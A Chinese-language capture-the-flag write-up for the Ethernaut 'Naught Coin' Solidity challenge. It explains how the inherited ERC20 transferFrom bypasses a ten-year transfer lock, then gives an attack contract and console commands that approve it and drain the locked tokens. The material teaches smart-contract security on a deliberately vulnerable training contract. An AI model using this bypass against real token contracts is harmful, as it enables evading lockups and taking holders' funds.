Skip to main content

Naught Coin

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

题目要求

player地址的NaughtCoin代币转移到另一个地址,解除 10 年锁定期的限制

题目分析

在部署合约的时候,给player地址铸造了INITIAL_SUPPLY数量的NaughtCoin。由于transfer方法上加上了lockTokensmodifier修饰。这个方法里要求如果是player触发的转账操作,则要求当前区块时间大于 10 年以后。 我们看到NaughtCoin合约继承自ERC20合约。所以可以通过ERC20transferFrom方法绕过transfer方法的检查

攻击步骤

  1. 编写转移合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/token/ERC20/ERC20.sol';

interface INaughtCoin {
function INITIAL_SUPPLY() external view returns(uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
}

contract NaughtCoinAttack {
function depositTo(INaughtCoin _token,address _receiver) external {
bool success = _token.transferFrom(msg.sender,_receiver,_token.INITIAL_SUPPLY());
require(success,"transfer failed");
}
}
  1. player调用approve方法,授权代币给转移合约
// 查询锁定在player名下的代币总量
const totalLocked = (await contract.INITIAL_SUPPLY()).toString()
// 授权转移合约使用自己的代币
await contract.approve(attackContractAddress,totalLocked)
  1. 调用转移合约的depositTo方法,提供另一个接收代币的账号地址